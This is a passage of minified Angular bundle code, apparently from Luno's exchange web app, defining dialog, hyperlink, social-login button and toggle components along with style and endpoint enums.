new(e||t)(v.Y36(m),v.Y36(u.y),v.Y36(r.so),v.Y36(s.c),v.Y36(r.WI))},t.\u0275cmp=v.Xpm({type:t,selectors:[["luno-contextual-help"]],features:[v.qOj],decls:8,vars:6,consts:[[3,"src",4,"ngIf"],["mat-dialog-title","",3,"innerHtml"],["class","body",3,"innerHTML",4,"ngIf"],["class","checkbox-container",3,"error",4,"ngIf"],["align","end"],[4,"ngIf"],[3,"src"],[1,"body",3,"innerHTML"],[1,"checkbox-container"],["color","primary",3,"formControl"],[1,"checkbox-label",3,"innerHTML"],["mat-button","","color","primary",3,"click",4,"ngIf"],["mat-button","","color","primary",3,"click"],["mat-button","","color","primary",3,"routerLink","queryParams","click",4,"ngIf"],["mat-button","","color","primary","role","button",3,"href","target","click",4,"ngIf"],["mat-button","","color","primary",3,"routerLink","queryParams","click"],["mat-button","","color","primary","role","button",3,"href","target","click"]],template:function(t,e){1&t&&(v.YNc(0,S,1,1,"img",0),v._UZ(1,"h2",1),v.TgZ(2,"mat-dialog-content"),v.YNc(3,E,1,1,"div",2),v.YNc(4,A,3,4,"div",3),v.qZA(),v.TgZ(5,"mat-dialog-actions",4),v.YNc(6,P,3,2,"ng-container",5),v.YNc(7,F,3,2,"ng-container",5),v.qZA()),2&t&&(v.Q6J("ngIf",e.headerImageUrl),v.xp6(1),v.Q6J("innerHtml",e.titleHtml,v.oJD),v.xp6(2),v.Q6J("ngIf",e.bodyHtml),v.xp6(1),v.Q6J("ngIf",e.checkboxText),v.xp6(2),v.Q6J("ngIf",e.secondaryActionName),v.xp6(1),v.Q6J("ngIf",e.primaryActionName))},directives:[b.O5,r.uh,r.xY,r.H8,k.oG,w.JJ,w.oH,C.lW,C.zs,x.yS],styles:["h2[_ngcontent-%COMP%]{text-align:left;font-size:22px;color:var(--color-primary);font-weight:800}h2.mat-dialog-title[_ngcontent-%COMP%]{font-size:20px;line-height:1.3}.body[_ngcontent-%COMP%]{color:var(--color-primary);font-weight:500}.body[_ngcontent-%COMP%] a{color:#0091ff;text-decoration:none;font-weight:800}img[_ngcontent-%COMP%]{width:50px;margin:5px 0}.checkbox-container[_ngcontent-%COMP%]{padding-top:16px}.checkbox-container[_ngcontent-%COMP%] mat-checkbox[_ngcontent-%COMP%] label{white-space:normal}.checkbox-container.error[_ngcontent-%COMP%] p[_ngcontent-%COMP%]{color:var(--color-error)}.checkbox-container[_ngcontent-%COMP%] .checkbox-label[_ngcontent-%COMP%]{margin:0 0 0 8px;padding-top:2px}mat-dialog-actions[_ngcontent-%COMP%]{display:flex;flex-wrap:wrap-reverse}"]}),t}()},53116:function(t,e,n){"use strict";n.d(e,{H:function(){return h}});var i,r=n(54364),o=n(1707),a=n(70781),s=n(74058),u=n(22213),c=n(47532),l=n(2316),h=((i=function t(){_(this,t)}).\u0275fac=function(t){return new(t||i)},i.\u0275mod=l.oAB({type:i}),i.\u0275inj=l.cJS({imports:[[r.ez,a.ot,s.p9,u.Is,o.UX,c.Bz]]}),i)},62157:function(t,e,n){"use strict";n.d(e,{a:function(){return T}});var i=n(1707),r=n(22213),o=n(58625),a=n(70227),s=n(2316),u=n(54364),c=n(74058),l=n(70781),h=n(47532);function f(t,e){if(1&t&&s._UZ(0,"img",6),2&t){var n=s.oxw();s.Q6J("src",n.headerImageUrl,s.LSH)}}function d(t,e){if(1&t&&s._UZ(0,"div",7),2&t){var n=s.oxw();s.Q6J("innerHTML",n.bodyHtml,s.oJD)}}function p(t,e){if(1&t&&(s.TgZ(0,"div",8),s.TgZ(1,"mat-checkbox",9),s._UZ(2,"p",10),s.qZA(),s.qZA()),2&t){var n=s.oxw();s.ekj("error",n.hasAttemptedConfirm&&!n.checkbox.value),s.xp6(1),s.Q6J("formControl",n.checkbox),s.xp6(1),s.Q6J("innerHTML",n.checkboxText,s.oJD)}}function v(t,e){if(1&t){var n=s.EpF();s.TgZ(0,"button",12),s.NdJ("click",function(){return s.CHM(n),s.oxw(2).dismiss(!1)}),s._uU(1),s.qZA()}if(2&t){var i=s.oxw(2);s.uIk("cdkFocusInitial",!!i.focusSecondaryButton||null),s.xp6(1),s.Oqu(i.secondaryActionName)}}function m(t,e){if(1&t){var n=s.EpF();s.TgZ(0,"a",15),s.NdJ("click",function(){return s.CHM(n),s.oxw(3).dismiss(!1)}),s._uU(1),s.qZA()}if(2&t){var i=s.oxw(3);s.Q6J("routerLink",i.secondaryActionUrl)("queryParams",i.secondaryActionUrlParams),s.xp6(1),s.Oqu(i.secondaryActionName)}}function g(t,e){if(1&t){var n=s.EpF();s.TgZ(0,"a",16),s.NdJ("click",function(){return s.CHM(n),s.oxw(3).dismiss(!1)}),s._uU(1),s.qZA()}if(2&t){var i=s.oxw(3);s.Q6J("href",i.secondaryActionUrl,s.LSH)("target",i.shouldOpenInNewWindow(i.secondaryActionUrl)?"_blank":""),s.xp6(1),s.Oqu(i.secondaryActionName)}}function b(t,e){if(1&t&&(s.ynx(0),s.YNc(1,m,2,3,"a",13),s.YNc(2,g,2,3,"a",14),s.BQk()),2&t){var n=s.oxw(2);s.xp6(1),s.Q6J("ngIf",!n.showExternalLink(n.secondaryActionUrl)),s.xp6(1),s.Q6J("ngIf",n.showExternalLink(n.secondaryActionUrl))}}function k(t,e){if(1&t&&(s.ynx(0),s.YNc(1,v,2,2,"button",11),s.YNc(2,b,3,2,"ng-container",5),s.BQk()),2&t){var n=s.oxw();s.xp6(1),s.Q6J("ngIf",n.showSecondaryButton),s.xp6(1),s.Q6J("ngIf",n.showSecondaryLink)}}function w(t,e){if(1&t){var n=s.EpF();s.TgZ(0,"button",12),s.NdJ("click",function(){return s.CHM(n),s.oxw(2).dismiss(!0)}),s._uU(1),s.qZA()}if(2&t){var i=s.oxw(2);s.uIk("cdkFocusInitial",!i.focusSecondaryButton||null),s.xp6(1),s.Oqu(i.primaryActionName)}}function C(t,e){if(1&t){var n=s.EpF();s.TgZ(0,"a",15),s.NdJ("click",function(){return s.CHM(n),s.oxw(3).dismiss(!0)}),s._uU(1),s.qZA()}if(2&t){var i=s.oxw(3);s.Q6J("routerLink",i.primaryActionUrl)("queryParams",i.primaryActionUrlParams),s.xp6(1),s.Oqu(i.primaryActionName)}}function x(t,e){if(1&t){var n=s.EpF();s.TgZ(0,"a",16),s.NdJ("click",function(){return s.CHM(n),s.oxw(3).dismiss(!0)}),s._uU(1),s.qZA()}if(2&t){var i=s.oxw(3);s.Q6J("href",i.primaryActionUrl,s.LSH)("target",i.shouldOpenInNewWindow(i.primaryActionUrl)?"_blank":""),s.xp6(1),s.Oqu(i.primaryActionName)}}function S(t,e){if(1&t&&(s.ynx(0),s.YNc(1,C,2,3,"a",13),s.YNc(2,x,2,3,"a",14),s.BQk()),2&t){var n=s.oxw(2);s.xp6(1),s.Q6J("ngIf",!n.showExternalLink(n.primaryActionUrl)),s.xp6(1),s.Q6J("ngIf",n.showExternalLink(n.primaryActionUrl))}}function E(t,e){if(1&t&&(s.ynx(0),s.YNc(1,w,2,2,"button",11),s.YNc(2,S,3,2,"ng-container",5),s.BQk()),2&t){var n=s.oxw();s.xp6(1),s.Q6J("ngIf",n.showPrimaryButton),s.xp6(1),s.Q6J("ngIf",n.showPrimaryLink)}}var A,T=((A=function(){function t(e,n,r,o){_(this,t),this.analyticsService=e,this.dialogRef=n,this.actionService=r,this.config=o,this.focusSecondaryButton=!1,this.checkbox=new i.NI,this.hasAttemptedConfirm=!1}return y(t,[{key:"showPrimaryButton",get:function(){return!this.primaryActionUrl||!!this.primaryActionId}},{key:"showPrimaryLink",get:function(){return!this.showPrimaryButton}},{key:"showSecondaryButton",get:function(){return!this.secondaryActionUrl||!!this.secondaryActionId}},{key:"showSecondaryLink",get:function(){return!this.showSecondaryButton}},{key:"ngOnInit",value:function(){!this.config||(this.initDialog(),this.analyticsService.trackPage(this.config.screenName,void 0,void 0,!0),this.checkboxValueSubscription=this.handleCheckboxValueChange())}},{key:"ngOnDestroy",value:function(){var t,e;(null===(t=this.config)||void 0===t?void 0:t.screenName)&&this.analyticsService.trackMarkedPage(),null===(e=this.checkboxValueSubscription)||void 0===e||e.unsubscribe()}},{key:"handleCheckboxValueChange",value:function(){var t=this;return this.dialogRef.disableClose=!!this.checkboxText,this.checkbox.valueChanges.subscribe(function(e){!t.checkboxText||(t.dialogRef.disableClose=!e)})}},{key:"dismiss",value:function(){var t,e,n=arguments.length>0&&void 0!==arguments[0]&&arguments[0];n&&this.checkboxText&&!this.checkbox.value?this.hasAttemptedConfirm=!0:(n&&(null===(t=this.config.primaryAction)||void 0===t?void 0:t.event)&&this.analyticsService.logEvent(this.config.primaryAction.event),!n&&(null===(e=this.config.secondaryAction)||void 0===e?void 0:e.event)&&this.analyticsService.logEvent(this.config.secondaryAction.event),this.dialogRef.close(n))}},{key:"showExternalLink",value:function(t){return!!t&&this.actionService.isExternalLink(t)}},{key:"shouldOpenInNewWindow",value:function(t){return!!t&&this.actionService.shouldOpenInNewWindow(t)}},{key:"initDialog",value:function(){var t,e,n,i,r,o,a,s;this.headerImageUrl=this.config.header&&this.config.header.imageUrl,this.titleHtml=this.config.title,this.bodyHtml=this.config.bodyHtml||this.config.body,this.checkboxText=this.config.checkboxLabel,this.secondaryActionName=null===(t=this.config.secondaryAction)||void 0===t?void 0:t.name,this.secondaryActionId=null===(e=this.config.secondaryAction)||void 0===e?void 0:e.id,this.secondaryActionUrl=this.getActionUrl(null===(n=this.config.secondaryAction)||void 0===n?void 0:n.url),this.secondaryActionUrlParams=this.actionService.getParams((null===(i=this.config.secondaryAction)||void 0===i?void 0:i.url)||""),this.focusSecondaryButton=!!this.config.focusSecondaryButton,this.primaryActionName=null===(r=this.config.primaryAction)||void 0===r?void 0:r.name,this.primaryActionId=null===(o=this.config.primaryAction)||void 0===o?void 0:o.id,this.primaryActionUrl=this.getActionUrl(null===(a=this.config.primaryAction)||void 0===a?void 0:a.url),this.primaryActionUrlParams=this.actionService.getParams((null===(s=this.config.primaryAction)||void 0===s?void 0:s.url)||"")}},{key:"setConfig",value:function(t){this.config=t,this.initDialog()}},{key:"getActionUrl",value:function(t){return t?this.actionService.isExternalLink(t)?this.actionService.getUrl(t):this.actionService.getUrlWithoutParams(t):""}}]),t}()).\u0275fac=function(t){return new(t||A)(s.Y36(a.y),s.Y36(r.so),s.Y36(o.c),s.Y36(r.WI))},A.\u0275cmp=s.Xpm({type:A,selectors:[["luno-dialog"]],decls:8,vars:6,consts:[[3,"src",4,"ngIf"],["mat-dialog-title","",3,"innerHtml"],["class","body",3,"innerHTML",4,"ngIf"],["class","checkbox-container",3,"error",4,"ngIf"],["align","end"],[4,"ngIf"],[3,"src"],[1,"body",3,"innerHTML"],[1,"checkbox-container"],["color","primary",3,"formControl"],[1,"checkbox-label",3,"innerHTML"],["mat-button","","color","primary",3,"click",4,"ngIf"],["mat-button","","color","primary",3,"click"],["mat-button","","color","primary",3,"routerLink","queryParams","click",4,"ngIf"],["mat-button","","color","primary","role","button",3,"href","target","click",4,"ngIf"],["mat-button","","color","primary",3,"routerLink","queryParams","click"],["mat-button","","color","primary","role","button",3,"href","target","click"]],template:function(t,e){1&t&&(s.YNc(0,f,1,1,"img",0),s._UZ(1,"h2",1),s.TgZ(2,"mat-dialog-content"),s.YNc(3,d,1,1,"div",2),s.YNc(4,p,3,4,"div",3),s.qZA(),s.TgZ(5,"mat-dialog-actions",4),s.YNc(6,k,3,2,"ng-container",5),s.YNc(7,E,3,2,"ng-container",5),s.qZA()),2&t&&(s.Q6J("ngIf",e.headerImageUrl),s.xp6(1),s.Q6J("innerHtml",e.titleHtml,s.oJD),s.xp6(2),s.Q6J("ngIf",e.bodyHtml),s.xp6(1),s.Q6J("ngIf",e.checkboxText),s.xp6(2),s.Q6J("ngIf",e.secondaryActionName),s.xp6(1),s.Q6J("ngIf",e.primaryActionName))},directives:[u.O5,r.uh,r.xY,r.H8,c.oG,i.JJ,i.oH,l.lW,l.zs,h.yS],styles:["h2[_ngcontent-%COMP%]{text-align:left;font-size:22px;color:var(--color-primary);font-weight:800}h2.mat-dialog-title[_ngcontent-%COMP%]{font-size:20px;line-height:1.3}.body[_ngcontent-%COMP%]{color:var(--color-primary);font-weight:500}.body[_ngcontent-%COMP%] a{color:#0091ff;text-decoration:none;font-weight:800}img[_ngcontent-%COMP%]{width:50px;margin:5px 0}.checkbox-container[_ngcontent-%COMP%]{padding-top:16px}.checkbox-container[_ngcontent-%COMP%] mat-checkbox[_ngcontent-%COMP%] label{white-space:normal}.checkbox-container.error[_ngcontent-%COMP%] p[_ngcontent-%COMP%]{color:var(--color-error)}.checkbox-container[_ngcontent-%COMP%] .checkbox-label[_ngcontent-%COMP%]{margin:0 0 0 8px;padding-top:2px}mat-dialog-actions[_ngcontent-%COMP%]{display:flex;flex-wrap:wrap-reverse}"]}),A)},72337:function(t,e,n){"use strict";n.d(e,{S:function(){return h}});var i,r=n(54364),o=n(1707),a=n(70781),s=n(74058),u=n(22213),c=n(47532),l=n(2316),h=((i=function t(){_(this,t)}).\u0275fac=function(t){return new(t||i)},i.\u0275mod=l.oAB({type:i}),i.\u0275inj=l.cJS({imports:[[r.ez,a.ot,s.p9,u.Is,o.UX,c.Bz]]}),i)},46708:function(t,e,n){"use strict";n.d(e,{t:function(){return b}});var i=n(2316),r=n(58625),o=n(70227),a=n(54364),s=n(47532);function u(t,e){1&t&&i.GkF(0)}function c(t,e){if(1&t){var n=i.EpF();i.TgZ(0,"a",5),i.NdJ("click",function(t){return i.CHM(n),i.oxw(2).onClick(t)}),i.YNc(1,u,1,0,"ng-container",6),i.qZA()}if(2&t){var r=i.oxw(2),o=i.MAs(3);i.Q6J("href",r.url,i.LSH)("target",r.shouldOpenInNewWindow?"_blank":""),i.uIk("aria-label",null==r.aria?null:r.aria.label),i.xp6(1),i.Q6J("ngTemplateOutlet",o)}}function l(t,e){1&t&&i.GkF(0)}function h(t,e){if(1&t){var n=i.EpF();i.TgZ(0,"a",7),i.NdJ("click",function(t){return i.CHM(n),i.oxw(2).onClick(t)}),i.YNc(1,l,1,0,"ng-container",6),i.qZA()}if(2&t){var r=i.oxw(2),o=i.MAs(3);i.Q6J("queryParams",r.params)("routerLink",r.isDisabled?null:r.url),i.uIk("aria-label",null==r.aria?null:r.aria.label),i.xp6(1),i.Q6J("ngTemplateOutlet",o)}}function f(t,e){if(1&t&&(i.ynx(0),i.YNc(1,c,2,4,"a",3),i.YNc(2,h,2,4,"a",4),i.BQk()),2&t){var n=i.oxw();i.xp6(1),i.Q6J("ngIf",n.isExternalLink),i.xp6(1),i.Q6J("ngIf",!n.isExternalLink)}}function d(t,e){1&t&&i.GkF(0)}function p(t,e){if(1&t){var n=i.EpF();i.TgZ(0,"a",8),i.NdJ("click",function(t){return i.CHM(n),i.oxw().onClick(t)}),i.YNc(1,d,1,0,"ng-container",6),i.qZA()}if(2&t){var r=i.oxw(),o=i.MAs(3);i.uIk("aria-label",null==r.aria?null:r.aria.label),i.xp6(1),i.Q6J("ngTemplateOutlet",o)}}function v(t,e){1&t&&i.Hsn(0)}var m,g=["*"],b=((m=function(){function t(e,n){_(this,t),this.actionService=e,this.analyticsService=n,this.isDisabled=!1,this.clicked=new i.vpe,this.isExternalLink=!1,this.params={},this.shouldOpenInNewWindow=!1,this._url=""}return y(t,[{key:"url",get:function(){return this._url},set:function(t){t&&this.initUrl(t)}},{key:"action",set:function(t){!t||(t.url&&this.initUrl(t.url),this._event=t.event)}},{key:"event",get:function(){return this._event}},{key:"initUrl",value:function(t){this.isExternalLink=this.actionService.isExternalLink(t),this.shouldOpenInNewWindow=this.actionService.shouldOpenInNewWindow(t),this.params=this.actionService.getParams(t),this._url=this.isExternalLink?this.actionService.getUrl(t):this.actionService.getUrlWithoutParams(t)}},{key:"onClick",value:function(t){this.isDisabled?t.preventDefault():(this.analyticsService.logEvent(this.event),this.isExternalLink||t.preventDefault(),this.clicked.emit(t))}}]),t}()).\u0275fac=function(t){return new(t||m)(i.Y36(r.c),i.Y36(o.y))},m.\u0275cmp=i.Xpm({type:m,selectors:[["luno-hyperlink"]],inputs:{url:"url",action:"action",isDisabled:"isDisabled",aria:"aria"},outputs:{clicked:"clicked"},ngContentSelectors:g,decls:4,vars:2,consts:[[4,"ngIf"],[3,"click",4,"ngIf"],["contentTpl",""],[3,"href","target","click",4,"ngIf"],[3,"queryParams","routerLink","click",4,"ngIf"],[3,"href","target","click"],[4,"ngTemplateOutlet"],[3,"queryParams","routerLink","click"],[3,"click"]],template:function(t,e){1&t&&(i.F$t(),i.YNc(0,f,3,2,"ng-container",0),i.YNc(1,p,2,2,"a",1),i.YNc(2,v,1,0,"ng-template",null,2,i.W1O)),2&t&&(i.Q6J("ngIf",e.url),i.xp6(1),i.Q6J("ngIf",!e.url))},directives:[a.O5,a.tP,s.yS],styles:[""]}),m)},11378:function(t,e,n){"use strict";n.d(e,{N:function(){return u}});var i,r=n(54364),o=n(47532),a=n(2316),s=((i=function t(){_(this,t)}).\u0275fac=function(t){return new(t||i)},i.\u0275mod=a.oAB({type:i}),i.\u0275inj=a.cJS({imports:[[r.ez]]}),i),u=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=a.oAB({type:t}),t.\u0275inj=a.cJS({imports:[[r.ez,o.Bz,s]]}),t}()},43817:function(t,e,n){"use strict";n.d(e,{Y:function(){return f}});var i=n(2316),r=n(66846),o=n(70227),a=n(22210),s=n(54364),u=n(70781);function c(t,e){if(1&t){var n=i.EpF();i.TgZ(0,"a",2),i.NdJ("click",function(t){return i.CHM(n),i.oxw(2).onClick(t)}),i.TgZ(1,"div",3),i._UZ(2,"img",4),i.TgZ(3,"div",5),i._uU(4),i.qZA(),i.qZA(),i.qZA()}if(2&t){var r=i.oxw().$implicit,o=i.oxw();i.ekj("apple-btn",r.style===o.appleButtonStyle)("facebook-btn",r.style===o.facebookButtonStyle),i.xp6(2),i.Q6J("src",r.iconSrc,i.LSH),i.xp6(2),i.Oqu(r.text)}}function l(t,e){if(1&t&&(i.ynx(0),i.YNc(1,c,5,6,"a",1),i.BQk()),2&t){var n=e.$implicit,r=i.oxw();i.xp6(1),i.Q6J("ngIf",r.button&&r.button.action.style===n.style&&!r.isButtonDisabled(n))}}var h,f=((h=function(){function t(e,n){_(this,t),this.analyticsService=e,this.i18n=n,this.clicked=new i.vpe,this.appleButtonStyle=r.XMl[r.fk3.APPLE],this.facebookButtonStyle=r.XMl[r.fk3.FACEBOOK]}return y(t,[{key:"ngOnInit",value:function(){this.setupSocialButtons()}},{key:"onClick",value:function(t){this.button&&this.button.action.url&&(location.href=this.button.action.url),this.analyticsService.logEvent(this.button.action&&this.button.action.event),this.clicked.emit(this.button)}},{key:"setupSocialButtons",value:function(){this.socialButtons=[{text:this.i18n.translateText("Continue with Google",void 0,"Component: Button"),style:r.XMl[r.fk3.GOOGLE],iconSrc:this.projectAssetsUrl?this.projectAssetsUrl+"/svg/social-google.svg":null},{text:this.i18n.translateText("Continue with Facebook",void 0,"Component: Button"),style:r.XMl[r.fk3.FACEBOOK],iconSrc:this.projectAssetsUrl?this.projectAssetsUrl+"/svg/social-facebook-white.svg":null},{text:this.i18n.translateText("Continue with Apple",void 0,"Component: Button"),style:r.XMl[r.fk3.APPLE],iconSrc:this.projectAssetsUrl?this.projectAssetsUrl+"/svg/social-apple-white.svg":null}]}},{key:"isButtonDisabled",value:function(t){switch(t.style){case r.XMl[r.fk3.GOOGLE]:return this.isGoogleDisabled;case r.XMl[r.fk3.FACEBOOK]:return this.isFacebookDisabled;case r.XMl[r.fk3.APPLE]:return this.isAppleDisabled;default:return!1}}}]),t}()).\u0275fac=function(t){return new(t||h)(i.Y36(o.y),i.Y36(a.K))},h.\u0275cmp=i.Xpm({type:h,selectors:[["luno-social-button"]],inputs:{button:"button",projectAssetsUrl:"projectAssetsUrl",isGoogleDisabled:"isGoogleDisabled",isFacebookDisabled:"isFacebookDisabled",isAppleDisabled:"isAppleDisabled"},outputs:{clicked:"clicked"},decls:1,vars:1,consts:[[4,"ngFor","ngForOf"],["mat-button","","role","button","class","social-button",3,"apple-btn","facebook-btn","click",4,"ngIf"],["mat-button","","role","button",1,"social-button",3,"click"],[1,"social-button-inner"],["alt","social button icon","loading","lazy",3,"src"],[1,"inner-text"]],template:function(t,e){1&t&&i.YNc(0,l,2,1,"ng-container",0),2&t&&i.Q6J("ngForOf",e.socialButtons)},directives:[s.sg,s.O5,u.zs],styles:[".social-button[_ngcontent-%COMP%]{padding:0 24px;text-transform:uppercase;font-weight:normal;margin-bottom:16px!important;border:1px solid #000000;color:#000!important;max-width:344px;width:100%}.social-button[_ngcontent-%COMP%] .mat-button-wrapper{display:flex;justify-content:left;align-items:center;text-transform:capitalize}.social-button[_ngcontent-%COMP%] .social-button-inner[_ngcontent-%COMP%]{display:flex;margin-left:calc(25% - (24px + 10px));justify-content:center;align-items:center}.social-button[_ngcontent-%COMP%] .social-button-inner[_ngcontent-%COMP%] img[_ngcontent-%COMP%]{width:18px;margin-right:24px}.social-button[_ngcontent-%COMP%] .social-button-inner[_ngcontent-%COMP%] .inner-text[_ngcontent-%COMP%]{font-weight:500;letter-spacing:.37px}@media screen and (max-width: 768px){.social-button[_ngcontent-%COMP%] .social-button-inner[_ngcontent-%COMP%]{margin:0 auto}}.facebook-btn[_ngcontent-%COMP%]{background:#0091ff!important;color:#fff!important;border:none}.facebook-btn[_ngcontent-%COMP%]:hover{background:#1a9cff!important}.apple-btn[_ngcontent-%COMP%]{background:#000000!important;color:#fff!important;border:none}.apple-btn[_ngcontent-%COMP%]:hover{background:#0d0d0d!important}"]}),h)},4726:function(t,e,n){"use strict";n.d(e,{u:function(){return s}});var i,r=n(54364),o=n(70781),a=n(2316),s=((i=function t(){_(this,t)}).\u0275fac=function(t){return new(t||i)},i.\u0275mod=a.oAB({type:i}),i.\u0275inj=a.cJS({imports:[[r.ez,o.ot]]}),i)},94353:function(t,e,n){"use strict";n.d(e,{n:function(){return g}});var i,r=n(2316),o=n(1707),a=n(80181),s=n(81134),u=n(84224),c=n(8117),l=n(22663),h=n(14921),f=n(79902),d=n(18293),p=n(32080),v=["lunoToggle"],m=["*"],g=((i=function(){function t(e,n){_(this,t),this.resolver=e,this.changeDetectorRef=n,this.action=function(){return(0,s.of)(null)},this.destroyComponent$=new u.t(1),this.changeEvent=function(t){},this.touchEvent=function(){}}return y(t,[{key:"ngOnInit",value:function(){var t=this;this.toggleControl=new o.NI(!(!this.config||!this.config.value)&&this.config.value),this.toggleControl.valueChanges.pipe((0,l.R)(this.destroyComponent$),(0,h.b)(function(){t.actionStarted()}),(0,f.w)(function(e){return t.action(e).pipe((0,h.b)(function(){t.actionCompleted()}),(0,d.K)(function(){return t.actionFailed(),c.E}))})).subscribe()}},{key:"ngOnDestroy",value:function(){this.destroyComponent$.next(),this.destroyComponent$.unsubscribe()}},{key:"registerOnChange",value:function(t){this.changeEvent=t}},{key:"registerOnTouched",value:function(t){this.touchEvent=t}},{key:"writeValue",value:function(t){return this.setToggleControlValue(t)}},{key:"setDisabledState",value:function(t){return t?this.disableToggleControl():this.enableToggleControl()}},{key:"disableToggleControl",value:function(){this.toggleControl.disable({emitEvent:!1})}},{key:"enableToggleControl",value:function(){this.toggleControl.enable({emitEvent:!1})}},{key:"setToggleControlValue",value:function(t){this.toggleControl.setValue(t,{emitEvent:!1})}},{key:"actionStarted",value:function(){this.disableToggleControl(),this.addSpinner()}},{key:"actionCompleted",value:function(){this.changeEvent(this.toggleControl.value),this.enableToggleControl(),this.removeSpinner()}},{key:"actionFailed",value:function(){this.setToggleControlValue(!this.toggleControl.value),this.enableToggleControl(),this.removeSpinner()}},{key:"addSpinner",value:function(){if(this.toggleEl)try{var t=this.toggleEl._elementRef.nativeElement.children[0].children[0].children[1].children[0];this.removeChild(t.children[0]),t.appendChild(this.createMatSpinnerComponent()),this.changeDetectorRef.detectChanges()}catch(t){console.error(t)}}},{key:"removeSpinner",value:function(){if(this.toggleEl)try{this.removeChild(this.toggleEl._elementRef.nativeElement.children[0].children[0].children[1].children[0].children[0])}catch(t){console.error(t)}}},{key:"removeChild",value:function(t){t&&(t.remove(),this.changeDetectorRef.detectChanges())}},{key:"createMatSpinnerComponent",value:function(){var t=this.resolver.resolveComponentFactory(a.$g),e=this.entry.createComponent(t).instance;return e.diameter=18,e.color="primary",e._elementRef.nativeElement}}]),t}()).\u0275fac=function(t){return new(t||i)(r.Y36(r._Vd),r.Y36(r.sBO))},i.\u0275cmp=r.Xpm({type:i,selectors:[["luno-toggle"]],viewQuery:function(t,e){var n;1&t&&(r.Gf(v,5),r.Gf(v,5,r.s_b)),2&t&&(r.iGM(n=r.CRH())&&(e.toggleEl=n.first),r.iGM(n=r.CRH())&&(e.entry=n.first))},inputs:{config:"config",action:"action"},features:[r._Bn([{provide:o.JU,useExisting:(0,r.Gpc)(function(){return i}),multi:!0}])],ngContentSelectors:m,decls:3,vars:1,consts:[["color","primary",3,"formControl","blur"],["lunoToggle",""]],template:function(t,e){1&t&&(r.F$t(),r.TgZ(0,"mat-slide-toggle",0,1),r.NdJ("blur",function(){return e.touchEvent()}),r.Hsn(2),r.qZA()),2&t&&r.Q6J("formControl",e.toggleControl)},directives:[p.Rr,o.JJ,o.oH],styles:[".mat-slide-toggle.mat-checked:not(.mat-disabled) .mat-slide-toggle-thumb{box-sizing:border-box} .mat-slide-toggle.mat-checked:not(.mat-disabled) .mat-slide-toggle-bar{background-color:#0091ff66;box-sizing:border-box} .mat-slide-toggle:not(.mat-disabled) .mat-slide-toggle-bar{background-color:#0000001a;box-sizing:border-box} .mat-slide-toggle.mat-disabled .mat-slide-toggle-thumb{background-color:#fff;box-sizing:border-box;display:flex;align-items:center;justify-content:center} .luno-toggle-mat-icon{font-size:20px;line-height:20px;color:#fff}"]}),i)},76424:function(t,e,n){"use strict";n.d(e,{v:function(){return l}});var i,r=n(54364),o=n(1707),a=n(52529),s=n(80181),u=n(32080),c=n(2316),l=((i=function t(){_(this,t)}).\u0275fac=function(t){return new(t||i)},i.\u0275mod=c.oAB({type:i}),i.\u0275inj=c.cJS({imports:[[r.ez,u.rP,s.Cq,a.Ps,o.UX]]}),i)},10384:function(t,e,n){"use strict";n.d(e,{Y:function(){return a}});var i,r=n(54364),o=n(2316),a=((i=function t(){_(this,t)}).\u0275fac=function(t){return new(t||i)},i.\u0275mod=o.oAB({type:i}),i.\u0275inj=o.cJS({imports:[[r.ez]]}),i)},46436:function(t,e,n){"use strict";n.d(e,{I:function(){return r}});var i,r=((i=r||(r={}))[i.external=0]="external",i[i.wallet=1]="wallet",i[i.websiteOld=2]="websiteOld",i[i.helpCentre=3]="helpCentre",i[i.exchange=4]="exchange",i[i.exchangePwa=5]="exchangePwa",i[i.learningPortal=6]="learningPortal",i[i.sandbox=7]="sandbox",i[i.express=8]="express",i[i.website=9]="website",i[i.careers=10]="careers",i[i.auth=11]="auth",r)},66846:function(t,e,n){"use strict";n.d(e,{gw3:function(){return r},XMl:function(){return o},fk3:function(){return a},aW$:function(){return s},Ta6:function(){return u},nd0:function(){return c},X1J:function(){return l},Wy6:function(){return h},iK5:function(){return f},d9x:function(){return d},GyU:function(){return p},KzN:function(){return v},ZX4:function(){return m},LLd:function(){return g},B1_:function(){return y}});var i,r=((i=r||(r={}))[i.UNKNOWN_STYLE=0]="UNKNOWN_STYLE",i[i.PRIMARY=1]="PRIMARY",i[i.SECONDARY=2]="SECONDARY",i[i.PRIMARY_UPGRADE=3]="PRIMARY_UPGRADE",i[i.SECONDARY_UPGRADE=4]="SECONDARY_UPGRADE",i[i.FACEBOOK=5]="FACEBOOK",i[i.GOOGLE=6]="GOOGLE",i[i.APPLE=7]="APPLE",i[i.PRIMARY_GUIDE=8]="PRIMARY_GUIDE",i[i.INLINE=9]="INLINE",i[i.TERTIARY=10]="TERTIARY",i[i.INLINE_REMOVE=11]="INLINE_REMOVE",r),o={0:"UNKNOWN_STYLE",1:"PRIMARY",2:"SECONDARY",3:"PRIMARY_UPGRADE",4:"SECONDARY_UPGRADE",5:"FACEBOOK",6:"GOOGLE",7:"APPLE",8:"PRIMARY_GUIDE",9:"INLINE",10:"TERTIARY",11:"INLINE_REMOVE"},a={UNKNOWN_STYLE:0,PRIMARY:1,SECONDARY:2,PRIMARY_UPGRADE:3,SECONDARY_UPGRADE:4,FACEBOOK:5,GOOGLE:6,APPLE:7,PRIMARY_GUIDE:8,INLINE:9,TERTIARY:10,INLINE_REMOVE:11},s=function(){return(t=s||(s={}))[t.UNKNOWN_ENDPOINT=0]="UNKNOWN_ENDPOINT",t[t.LABS_ENABLE=1]="LABS_ENABLE",t[t.LABS_DISABLE=2]="LABS_DISABLE",t[t.LABS_FEATURE_ENABLE=3]="LABS_FEATURE_ENABLE",t[t.LABS_FEATURE_DISABLE=4]="LABS_FEATURE_DISABLE",t[t.REPEAT_BUY_REMOVE=5]="REPEAT_BUY_REMOVE",t[t.REPEAT_BUY_PAUSE=6]="REPEAT_BUY_PAUSE",t[t.REPEAT_BUY_RESUME=7]="REPEAT_BUY_RESUME",t[t.ADD_BANK_BENEFICIARY_FORM=8]="ADD_BANK_BENEFICIARY_FORM",t[t.LOGIN_OTP=9]="LOGIN_OTP",s;var 